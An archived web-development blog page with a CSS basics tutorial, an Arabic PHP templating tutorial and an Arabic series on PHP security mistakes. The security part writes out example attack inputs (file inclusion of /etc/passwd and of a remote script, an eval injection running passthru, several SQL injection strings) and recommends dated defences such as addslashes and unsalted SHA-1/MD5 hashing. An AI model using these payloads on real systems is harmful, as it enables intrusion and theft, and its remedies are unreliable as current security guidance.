<?php |
Archive for the ‘Web Development’ Category
OPEN ADODB Connection
Tuesday, February 1st, 2005PHP: How to access COM objects
Sunday, January 16th, 2005CSS Definitions and Examples
Saturday, November 6th, 2004CSS Definitions and Examples
Class
You define a class by giving it a name
with a fullstop (.) just before it:
.tables
.sidetitle
.title
.tables
.borders
and so on..
Once you have defined a class, you can reference it throughout your webpage, as shown below.
This css style set is placed within your HEAD tags:
<style type=’text/css’>
.leftside {
color: #336699;
background-color: #C0C0C0;
font-family: helvetcia
}
.rightside {
color: #336699;
background-color: #708EA0;
font-family: arial
}
.mystuff {
color: #336699;
background-color: #C0C0C0;
font-family: verdana
}
</style>
These css references can be placed within your BODY tags:
<div class=”leftside”>your text here</div>
<span class=”rightside”>your text here</span>
<div class=”mystuff”>your text here</div>
Example:
This is how the “leftside” text will look on a page.
ID
Example:
#maincontent
Although you can use an ID the same way you use a Class,
an ID should only be used once per page. For instance, you would use an ID for a main area where it is needed only once and class for areas that will use the class more than once.
ie.
#maincontent{}
#leftside{}
#rightside{}
#maincontent {
color: #52648F;
font: 9pt verdana, arial, helvetica;
font-weight: bold;
padding-right: 5px;
padding-left: 5px;
padding-top: 10px
}
#leftside {
border: #DFDFDF 1px solid;
padding-left: 10px;
padding-right: 10px;
color: #666666;
font-weight: normal;
font: 8pt arial, verdana
}
#rightside {
position:absolute;
top:0;
left:0;
padding-right: 5px;
padding-left: 5px;
padding-top: 5px
}
After applying css ID info to a main area, such as main Font and Padding, you can then add Class styles to more specific areas within an ID area.
Font-Size
CSS can use pt (points) and px (pixals) for font size reference.
We tend to favor pt (points) as it displays well on both MAC and PC.
Example:
.txt5 {
font-family: verdana;
font-size: 9pt;
}
The popular size range is between 7pt and 12pt.
Anything beyond 12pt gets pretty ugly.
Example:
Font size 7pt
Font size 8pt
Font size 9pt
Font size 10pt
Font size 11pt
Font size 12pt
Inline example:
<span >your text here</span>
Another quick way to change font sizes in css:
font-size:xx-small
font-size:x-small
font-size:small
font-size:medium
font-size:large
font-size:x-large
font-size:xx-large
Output:
xx-small
x-small
small
medium
large
x-large
xx-large
Font-FamilyThe value in the example below is a prioritized list of font family names and/or generic family names.
The first value or name is the desired font. Others names are often added, separated by a commas to indicate that they are alternatives:
Example:
body {
font-family: Verdana, Arial, helvetica, sans-serif
}
Inline example:
<span >your text here</span>
Although just about any font can be inserted in the font list,
style sheet designers are encouraged to offer at least one generic font family as a last alternative.
Styled links
Name:
:link
:active
:visited
:hover
Because links are active elements, they change with user action.
Links have four states called “psuedo-classes”:
1) link: An unvisited link waiting to be clicked.
a:link {}
2) visited: A link that has been “visited”, or clicked on before.
a:visited {}
3) active: A link that is in the state of being clicked.
a:active {}
4) hover: A link that is being “hovered” over by the mouse cursor.
a:hover {}
Example:
a:link {
color: #039C0B;
text-decoration: none
}
a:visited {
color: #039C0B;
text-decoration: none
}
a:hover {
border:1 solid;
border-color:#FE6001
}
Click me
All attributes are Inherited except First-Letter and First-Line.
Filters
Filter Names:
Glow
Blur
Dropshadow
Shadow
Wave
Flipv
Fliph
All filters must have values attached to them..
You can Apply these filters to Images or Text.
Examples:
Filter:glow(color=#F8B745,strength=2)}
adds a glow effect around text/image
Filter: Blur (Add = 1, Direction = 90, Strength = 11)
gives your text/image a blurry effect
Filter: Dropshadow;(color=#c0c0c0,offX=2,offY=2)
gives your text/image a dropshadow effect
Filter: Shadow(Color=#94BAC9, Direction=225) width: 257; height: 10
gives your text/image a shadow effect
Filter: Wave(Add=0, Freq=6, LightStrength=2, Phase=2, Strength=2)
gives your text/image a wave effect
Filter: Flipv height:1
flips your text/image vertically
flips your text/image vertically
Filter: Fliph height:1
flips your text/image horizontally
flips your text/image horizontally
Inline Example:
<span style=”Filter:dropshadow(color=c0c0c0,offX=2,offY=2) font-size:9pt;width:290px”>gives your text/image a dropshadow effect</span>
Colored Scroll Bars
This is one of the most popular css scripts:
you can also use hexidecimal values in place of default webpage colors.
Example of hex codes for the below color:
#808080 = gray
#000000 = black
#FFFFFF = white
<style type=”text/css”>
body {
scrollbar-base-color: gray;
scrollbar-face-color: gray;
scrollbar-track-color: gray;
scrollbar-arrow-color: black;
scrollbar-3dlight-color: white;
scrollbar-darkshadow-color: black;
scrollbar-highlight-color: black;
scrollbar-shadow-color: black;
}
</style>
Remove Underline On Links
This will remove the underline on your links, making them look neater and is very popular…
<style type=”text/css”>
A {
text-decoration:none
}
</style>
Scrollbars In Layers
This script allows scrollbars in layers.
Add this in your layer
<div> tag:
style=”overflow: auto”
So the layer script reads:
<div id=”Layer1″ style=”position:absolute;
width:200px;
height:115px;
overflow: auto”>
</div>
The direction property – Left Side Scrollbar
This will reverse the direction of your text as well as change your scrollbar from right to left.
The direction property can be added to the body:
<style type=”text/css”>
body {
direction:rtl
}
</style>
ltr – Text direction is left-to-right
rtl – Text direction is right-to-left
Cursors
This style allows you to use your own cursor instead of the default arrow.
<style type=”text/css”>
body {
cursor:url(“mycursor.cur”)
}
</style>
نظام قوالب للمستوى المتوسط
Thursday, November 4th, 2004يتسائل الكثير من مبرمجى لغة PHP عن كيفية عمل نظام قوالب و قد رأيت من أهمية الموضوع أن أكتب هذا المقال مع أن لكتابة نظام للقوالب هناك العديد من الطرق و لكن هذه الطريقة مبسطة و تفى بغرض الشرح لمفهوم عمل نظام القوالب.
تعالوا فى نظرة مبدئية نتعرف على المتغيرات التى سوف نستخدمها فى ملف main.html و الـPHP:
فى هذا المثال سوف نستخدم <% main %>كمتغير فى ملفات القوالب الـHTML ، و القائمة الآتية بها المتغيرات فى صفحة index.php:
[code]
$main و هو متغير يحتوى على النص المراد عرضه فى ملف القالب
$content بالطبع متغير لنص آخر تريد عرضه فى ملف القالب
$fd
$filename متغير به إسم ملف القالب
$template متغير يتم فيه و عن طريقه إستبدال المتغيرات بالرموز التى سوف نستخدمها فى ملفات القوالب
$action
[/code]
أما الدوال و الأوامر التى سوف نستخدمها ففى القائمة التالية:
[code]
function template();
function home();
fopen
fclose
global
stripslashes
eregi_replace
echo
switch
default:
break:
[/code]
هذا النوع من البرمجة (القوالب) سوف يقوم بإخراج قيمة متغير ما – $main فى المثال – إلى صفحة HTML.
<% main %>
و الآن إفتح ملف HTML جديد وليكن إسمه template.html و ضع داخله الشفرة التالية:
[code]
<code> <html><body> <table cellpadding="0" spacepadding="0" border="0"> <tr><td valign=top align=left> <% main %> </td></tr> </table> </body> </html> code>
[/code]
إفتح ملف index.php و ضع فيه الشفرة التالية:
[code]
function template($content) {
global $main;
$filename = "template.html"; if(!$fd = fopen($filename, "r")) {
$error = 1;
}
else {
$template = fread ($fd, filesize ($filename));
fclose ($fd);
$template = stripslashes($template);
$template = eregi_replace("<% main %>", "$main", $template);
$template = eregi_replace("<% content %>", "$content", $template);
echo "$template";
} } function home() {
global $main;
include ("test.php");
template("$data");
}
switch($action) {
default: // default switch
home();
break;
}
?>
[/code]
و الآن حان دور الملف الذى يحتوى على قيمة المتغير $main و ليكن إسمه test.php :
[code]
$main .= 'Testing templates take it easy with Zajil';
?>
[/code]
أخطاء المبرمجين الأمنية فى بى اتش بى
Tuesday, October 12th, 2004أخطاء المبرمجين الأمنية فى PHP الحلقة(1)
أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.
1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف (هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.
[code]
مثال
if(isset($page))
{
include($page);
}
[/code]
بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!
تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.
[code]
مثال
script.php?page=http://mysite.com/mal_script.php
[/code]
بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.
[code]
مثال
$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Foot Bokra");
}
[/code]
2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:
[code]
script.php?input=;passthru("cat /etc/paswd");
[/code]
و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك (Templates) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.
الحلقة (2)
3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (‘) و لو أن المدخلات فى جملة الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (‘) كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة الإستعلام كالآتى:
[code]
UPDATE users SET Name='$name' WHERE ID=1;
[/code]
إذا كان المتغير يحتوى على الحرف (‘) فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (‘) على جملة الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:
[code]
$name',Admin='1
[/code]
الآن إستطاع المستخدم إدخال متغير آخر فى جملة الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية
[code]
addslashes() أو mysql_escape_string()
[/code]
عند إستخدام متغيرات ممررة من خلال جملة الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.
4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.
الحلقة (3)
5- تابع أخطاء جمل إستعلام SQL
لنفترض أن جملة الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:
[code]
$stmnt = SELECT login_id FROM users WHERE user = '" .
$_POST["username"] . "' AND password = '" . $_POST["password"];
[/code]
لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة الإستعلام أصبحت كالتالى:
[code]
SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''
[/code]
بمعنى أنه إستطاع تحويل باقى جملة الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
إذن كل ما استخدمه المهاجم هو غسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة الإستعلام عند الرمز (#) الذى أصبح ما بعده (بقية جملة الإستعلام) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().
6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:
[code]
$insertSql .= "'" . sha1($_POST["password1"]) . ", ";
[/code]
ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A – F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (‘).
بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:
[code]
$loginQuery .= " password = '". sha1($_POST["password"]) . "'";
[/code]
إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.
الحلقة (4)
7- الجلسات (Session)
أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.
لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة
[code]
$_SESSION["user"] = new User($userData->login_id, $userData->name, $userData->email, $userData->username);
[/code]
لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.
فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة
[code]
$_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["timestamp"] = time();
[/code]
الآن تمت عملية تسجيل الدخول
حماية المحتوى و التحكم فى الوصول للبيانات:
للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
على سبيل المثال “includes/session.inc.php” يحتوى على وظائف المراجعة (تستطيع تضمينه مع الملفات التى تريد حمايتها( ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION
[code]
if(!isset($_SESSION["user"])) {
die("Not logged in");
}
[/code]
أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية
[code]
if(!is_numeric($_SESSION["user"]->loginID)) {
die("Not logged in");
}
[/code]
الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم
[code]
if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {
header("Location: user_logout.php");
}
[/code]
لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه
[code]
if((time() - $_SESSION["timestamp"]) > 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION["timestamp"] = time();
}
[/code]
إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت
[code]
$_SESSION = array();
[/code]
بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة
[code]
session_destroy();
[/code]
أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie
[code]
unset($_COOKIE[session_name()]);
[/code]
الحلقة (5)
8- تابع أخطاء جمل إستعلام SQL
من أخطاء المبرمجين الأمنية الشائعة فى إستخدام جمل الإستعلام هو عدم التأكد من المتغيرات المدخلة إلى جملة الإستعلام مما قد يسبب وصولاً لبيانات غير مسموح الوصول لها و فى المثال التالى نستعرض إحدى الأخطاء الشائعة:
[code]
$id = $_GET["id"];
$result = mysql_query("SELECT * FROM `articles` where id=$id;");
[/code]
و بما أنه لم يتم التأكد من المتغير $id فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح –
[code]
Page.php?id=0 UNION SELECT * FROM `admin_users`
[/code]
أصبحت جملة الإستعلام كالآتى:
[code]
SELECT * FROM `articles` WHERE id=0
UNION SELECT * FROM `admin_users`;
[/code]
مما سوف تكون نتيجته إظهار كل محتويات الجدول `admin_users` و هى بيانات من المفترض أنها غير متاحة ، و الحل بما أن المتغير $id هو رقم إذن ينبغى التأكد من أنه رقم (فقط) و هناك طريقتين أرجح إستخدام ثانيهما ، أما الأولى فهى التأكد بإستخدام دالة intval ليصبح:
[code]
$id = intval($_GET["id"]);
[/code]
أما الطريقة الثانية و المفضلة فى رأيى:
[code]
$id = $_GET["id"];
If (!is_numeric($id)) {
………………….echo "foot bokra"
} else {
………………….continue
}
[/code]
و كمثال آخر و لكن المتغير عبارة عن نص:
[code]
$name = $_GET["name"];
$result = mysql_query("SELECT * FROM `articles`
WHERE title=\"$name\";");
[/code]
و بما أنه لم يتم التأكد من المتغير $name فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح -
[code]
Page.php?name= UNION SELECT * FROM `admin_users`
WHERE name="%
[/code]
سوف تكون النتيجةإظهار كل محتويات الجدول `admin_users` و المفترض أنها غير متاحة و الحل بما أن المتغير $name هو متغير نصى إذن ينبغى التأكد أن المتغير المدخل $name يحتوى على نص (فقط) و هناك طريقتان للتحقق من أن المدخل نص (فقط) و إنهاء جملة الإستعلام ، أما الطريقة الأولى فهى:
[code]
$name = str_replace("\"", """, $_GET["name"]);
[/code]
أما الطريقة الثانية فهى كالآتى:
[code]
$name = str_replace("\"", "\\\"", $_GET["name"]);
[/code]














